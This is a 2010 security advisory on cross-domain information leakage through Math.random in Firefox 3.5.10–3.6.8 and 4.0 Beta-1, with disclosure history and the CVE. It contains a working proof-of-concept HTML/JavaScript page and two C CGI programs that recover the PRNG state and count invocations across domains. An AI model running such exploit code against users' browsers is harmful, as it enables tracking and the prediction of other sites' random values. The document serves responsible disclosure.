



# **Cross-domain information leakage in Firefox 3.6.4-3.6.8, Firefox 3.5.10-3.5.11 and Firefox 4.0 Beta1**

Amit Klein

May-July 2010 (Released: September 2010)

## **Abstract**

While Mozilla attempted to address the issues of cross domain information leakage (through Math.random) in Firefox 3.6.4, Firefox 3.5.10 and Firefox 4.0 Beta-1, there is still a security vulnerability in the way the isolation is implemented, which enables cross domain leakage. In fact, it may make it easier to attack Firefox in some cases, compared to previous versions.

Additionally, a concern is raised on the entropy provided in the seed to the Math.random PRNG, which may enable more powerful attacks.

2010© All Rights Reserved.

Trusteer makes no representation or warranties, either express or implied by or with respect to anything in this document, and shall not be liable for any implied warranties of merchantability or fitness for a particular purpose or for any indirect special or consequential damages. No part of this publication may be reproduced, stored in a retrieval system or transmitted, in any form or by any means, photocopying, recording or otherwise, without prior written consent of Trusteer. No patent liability is assumed with respect to the use of the information contained herein. While every precaution has been taken in the preparation of this publication, Trusteer assumes no responsibility for errors or omissions. This publication and features described herein are subject to change without notice.

## Table of Contents

<b>Abstract .....</b>	<b>1</b>
<b>1. Quick introduction.....</b>	<b>3</b>
<b>2. Issues with Firefox 3.6.4-3.6.8, Firefox 3.5.10-3.5.11 and Firefox 4.0</b>	
<b>Beta-1 Math.random().....</b>	<b>3</b>
<b>3. Vendor/product status .....</b>	<b>5</b>
<b>4. References .....</b>	<b>5</b>
<b>Appendix A – State calculation script.....</b>	<b>7</b>
<b>Appendix B – Mileage calculation script .....</b>	<b>10</b>

## 1. Quick introduction

The attack described here is related to the author's previous work [1]. The attack exploits a vulnerability wherein the `Math.random` PRNG values/states are predictable across domain boundaries. For more details on how this is exploitable, please refer to the PDF link above.

## 2. Issues with Firefox 3.6.4-3.6.8, Firefox 3.5.10-3.5.11 and Firefox 4.0 Beta-1 `Math.random()`

On June 22<sup>nd</sup>, 2010, Mozilla issued a fix for the problems described in 2008-209 in `Math.random` ([2]). The change introduced to `Math.random` in Firefox 3.6.4, and in general - in Mozilla 1.9.2 ([3]) is as following (the same change is introduced to Firefox 3.5.10 – Mozilla 1.9.1 and Firefox 4.0 Beta-1 – Mozilla 2.0):

- `Math.random`'s PRNG scope becomes a single document object (i.e. different frames/pages/tabs/windows have different PRNG instances).
- `Math.random` is seeded with (*time XOR nonce*), where *time* is the time (in milliseconds since 01/01/1970 00:00 GMT) of the first invocation of `Math.random` in its current scope, and *nonce* is itself a XOR of two pointers.

Note that the PRNG algorithm itself was not modified, i.e. it is still possible to reconstruct the PRNG internal state (in a given scope) from a single `Math.random()` sample, as explained in the original manuscript.

There are still two issues with this scheme.

The more important issue is the fact that while the scope of `Math.random` is now reduced, it is still possible to leak the number of `Math.random()` invocations, to reconstruct `Math.random` values and to (in some degree) influence them, across domains. The attack is simple – suppose [www.foo.site](http://www.foo.site) wants to measure how many times `Math.random()` was invoked in the page <http://www.bar.site/login>, then the following HTML+Javascript can be used:

```
<html>
<body>
<script>
function f()
{
    x.location.href="http://www.bar.site/login";
    setTimeout("g()",10000);
}
function g()
```

```

{
    x.location.href="http://www.foo.site/prng.cgi";
}
var x=window.open("http://www.foo.site/prng.cgi");
setTimeout("f()",10000);
</script>
</body>
</html>

```

The problem is that within the same PRNG scope, ownership can still change (in this example it begins as a new window with a page from [www.foo.site](http://www.foo.site), then moves to [www.bar.site](http://www.bar.site), then back to [www.foo.site](http://www.foo.site) – during this time, the same PRNG instance is used across all three pages), making the PRNG instance shared among different domains.

In the example above, the <http://www.foo.site/prng.cgi> page reconstructs the PRNG internal state by sampling `Math.random()` once (e.g. it displays a form that populates itself with `Math.random()` and auto-submits for analysis – see appendix A for an implementation). Thus the attacker at [www.foo.site](http://www.foo.site) gets two samples of the PRNG state – one just before <http://www.bar.site/login> is loaded, and one just after. The attacker can then roll forward the internal state obtained in the first script invocation until it matches the internal state obtained in the second script invocation (an example script can be found in appendix B). The number of steps needed (minus 1 to compensate for the sampling by the attacker) is exactly the number of `Math.random()` invocations performed by <http://www.bar.site/login>.

Practically, it may be easier to count invocations of `Math.random` across domains in Firefox 3.6.4-3.6.8 since there is no “noise” from other tabs and windows. The PRNG is shared only across navigations in the “current” context (unlike the global PRNG state in earlier Firefox versions).

It should be obvious that much in the same way, it is possible to reconstruct all `Math.random()` values used in <http://www.bar.site/login>, and if the first script invocation also consumes some `Math.random()` values, it can influence to some degree on the values obtained by <http://www.bar.site/login>.

Of course, the example above makes use of a new window, but the same technique can be used with frames or with existing windows.

The above was verified with Firefox 3.6.4, 3.6.6, 3.6.7 and 3.6.8 on Windows 7 32bit and Firefox 4.0 Beta-1 on Windows XP SP3 32bit.

The second issue is with the seeding. While the new seeding scheme is better than the old one, as it introduces the nonce, it is still somewhat weak. On 32 bit operating systems, the pointers are 32 bit quantities, hence *nonce* will only have non-zero value in the least significant 32 bits. The most significant 16 bits of the PRNG will thus be determined solely by the most significant 16 bits of *time*. Examining the nonce on Windows 32 bit platform (Windows XP SP3), the nonce values appear to have their most significant 8 bits constant or at most varying among two values. Moreover, when two PRNGs are seeded almost simultaneously, their nonce values are “similar” – in 50% of the cases, their 15

most significant bits will be identical, and in 90% of the time, bits 6-9 (from the right) will be identical. This leaves only 13 bits or so which differ. This is still non-trivial to exploit (the attacker needs to almost simultaneously open two windows – one for the sampling script, and one for the attacked application, and even then there are those 13 unknown bits), but this is considerably weaker than a strong 32 bit (or even more) nonce. Not to mention that the randomness of nonce heavily depends on the CRT heap allocator strategy, which may depend on the operating system. It's possible that in other operating systems (and CRTs), the situation is even worse.

### 3. Vendor/product status

Mozilla were notified July 8<sup>th</sup>, 2010. Mozilla tracks this issue as "Bug 577512 - (more) cross-domain information leakage with Math.random()" ([4]).

Firefox 3.6.9, Firefox 3.5.12 were released on September 7<sup>th</sup>, 2010. These versions have a fix in place wherein each page instance reseeds the PRNG.

Firefox 4.0 Beta-2 was released in August 2010 with the same fix.

This issue has been assigned a CVE code CVE-2010-3171.

### 4. References

[1] "Temporary user tracking in major browsers and Cross-domain information leakage and attacks", Amit Klein (Trusteer), June 2009

[http://www.trusteer.com/sites/default/files/Temporary\\_User\\_Tracking\\_in\\_Major\\_Browsers.pdf](http://www.trusteer.com/sites/default/files/Temporary_User_Tracking_in_Major_Browsers.pdf)

[2] "MFSA 2010-33: User tracking across sites using Math.random()", Mozilla Foundation Security Announcement, June 22<sup>nd</sup>, 2010

<http://www.mozilla.org/security/announce/2010/mfsa2010-33.html>

[3] "mozilla-1.9.2 - changeset - 34060:23e155b902ac: Re-seed Math.random() for each window/frame/context (475585, r=waldo,dolske, a=beltzner)", March 18<sup>th</sup>, 2010

<http://hg.mozilla.org/releases/mozilla-1.9.2/rev/23e155b902ac>

[4] "Bug 577512 - (more) cross-domain information leakage with Math.random()"

[https://bugzilla.mozilla.org/show\\_bug.cgi?id=577512](https://bugzilla.mozilla.org/show_bug.cgi?id=577512)

[5] "Re: Jetty Session ID Prediction" (BugTraq post), Amit Klein, February 6<sup>th</sup>, 2007

<http://www.securityfocus.com/archive/1/459283>

## Appendix A – State calculation script

This C99 program can be used as a CGI script to calculate the current PRNG state. It was tested with Microsoft Visual C/C++.

The implementation is not too optimized. An obvious optimization would be to use techniques such as [5].

```
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

typedef unsigned long long int uint64;
typedef unsigned int uint32;

#define UINT64(x) (x##ULL)

#define a UINT64(0x5DEECE66D)
#define b UINT64(0xB)

uint64 adv(uint64 x)
{
    return (a*x+b) & ((UINT64(1)<<48)-1);
}

unsigned int calc(double sample,uint64* state)
{
    int v;
    uint64 sample_int=sample*((double)(UINT64(1)<<53));
    uint32 x1=sample_int>>27;
    uint32 x2=sample_int & ((1<<27)-1);
    uint32 out;

    if ((sample>=1.0) || (sample<0.0))
    {
        // Error - bad input
        return 1;
    }

    for (v=0;v<(1<<22);v++)
    {
        *state=adv((((uint64)x1)<<22)|v);
        out=((*state)>>(48-27))&((1<<27)-1);
        if (out==x2)
        {
            return 0;
        }
    }

    // Could not find PRNG internal state
    return 2;
}

int main(int argc, char* argv[])
{
    char body[1000]="";
```

```

char head[]="\
<html>\
<body>\
<script>\
document.write('userAgent: '+navigator.userAgent);\
</script>\
<br>\
";
char tail[]="\
<form method='GET' onSubmit='f()'\>\
<input type='hidden' name='r'\>\
<input id='x' type='submit' name='dummy'\
value='Calculate Firefox 3.6.4-3.6.8 PRNG state'\>\
</form>\
<script>\
function f()\
{\
    document.forms[0].r.value=Math.random();\
}\
</script>\
</body>\
</html>\
";

char tail2[]="\
</body>\
</html>\
";

double r;
char msg[1000];
int rc;
uint64 state;

strcat(body,head);
if (strstr(getenv("QUERY_STRING"),"r")!=NULL)
{
    sscanf(getenv("QUERY_STRING"),"r=%lf",&r);

    rc=calc(r,&state);
    if (rc==0)
    {
        sprintf(msg,"PRNG state (hex): %012llx\n",state);
        strcat(body,msg);
    }
    else
    {
        sprintf(msg,"Error in calc(): %d\n",rc);
        strcat(body,msg);
    }
    strcat(body,tail2);
}
else
{
    strcat(body,tail);
}

printf("Content-Type: text/html\r\n");
printf("Content-Length: %d\r\n",strlen(body));

```

```
    printf("Cache-Control: no-cache\r\n");  
    printf("\r\n");  
    printf("%s",body);  
  
    return;  
}
```

## Appendix B – Mileage calculation script

This C99 program can be used as a CGI script to calculate the PRNG mileage, given two samples (before and after) of the PRNG state (see appendix A). It was tested with Microsoft Visual C/C++.

```
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

typedef unsigned long long int uint64;
typedef unsigned int uint32;

#define UINT64(x) (x##ULL)

#define a UINT64(0x5DEECE66D)
#define b UINT64(0xB)

uint64 adv(uint64 x)
{
    return (a*x+b) & ((UINT64(1)<<48)-1);
}

int main(int argc, char* argv[])
{
    char body[1000]="";
    char head[]="\
        <html>\
        <body>\
        ";
    char tail[]="\
        Calculate Firefox 3.6.4-3.6.8 PRNG mileage:<br>\
        <form method='GET'>\
        From state (hex):<input type='text' name='s1'><br>\
        To state (hex):<input type='text' name='s2'><br>\
        <input id='x' type='submit' name='dummy'\
        value='Calculate Firefox 3.6.4-3.6.8 PRNG mileage'>\
        </form>\
        </body>\
        </html>\
        ";
    char tail2[]="\
        </body>\
        </html>\
        ";
    uint64 s1,s2;
    char msg[1000];
    int m;
    char* q1=strstr(getenv("QUERY_STRING"),"s1=");
    char* q2=strstr(getenv("QUERY_STRING"),"s2=");

    strcat(body,head);
    if ((q1!=NULL) && (sscanf(q1+3,"%llx",&s1)==1) &&
        (q2!=NULL) && (sscanf(q2+3,"%llx",&s2)==1))
    {
        // skip the first (sampled) invocation
    }
}
```

```

s1=adv(s1);
s1=adv(s1);

// 1000000 is an arbitrary big limit to avoid endless loop
for(m=0;m<1000000;m++)
{
    if (s1==s2)
    {
        sprintf(msg,
            "Firefox 3.6.4-3.6.8 PRNG mileage: %d\n",m);
        strcat(body,msg);
        break;
    }
    s1=adv(s1);
    s1=adv(s1);
}
if (m==1000000)
{
    strcat(body,"Could not find mileage\n");
}
strcat(body,tail2);
}
else
{
    strcat(body,tail);
}

printf("Content-Type: text/html\r\n");
printf("Content-Length: %d\r\n",strlen(body));
printf("Cache-Control: no-cache\r\n");
printf("\r\n");
printf("%s",body);

return;
}

```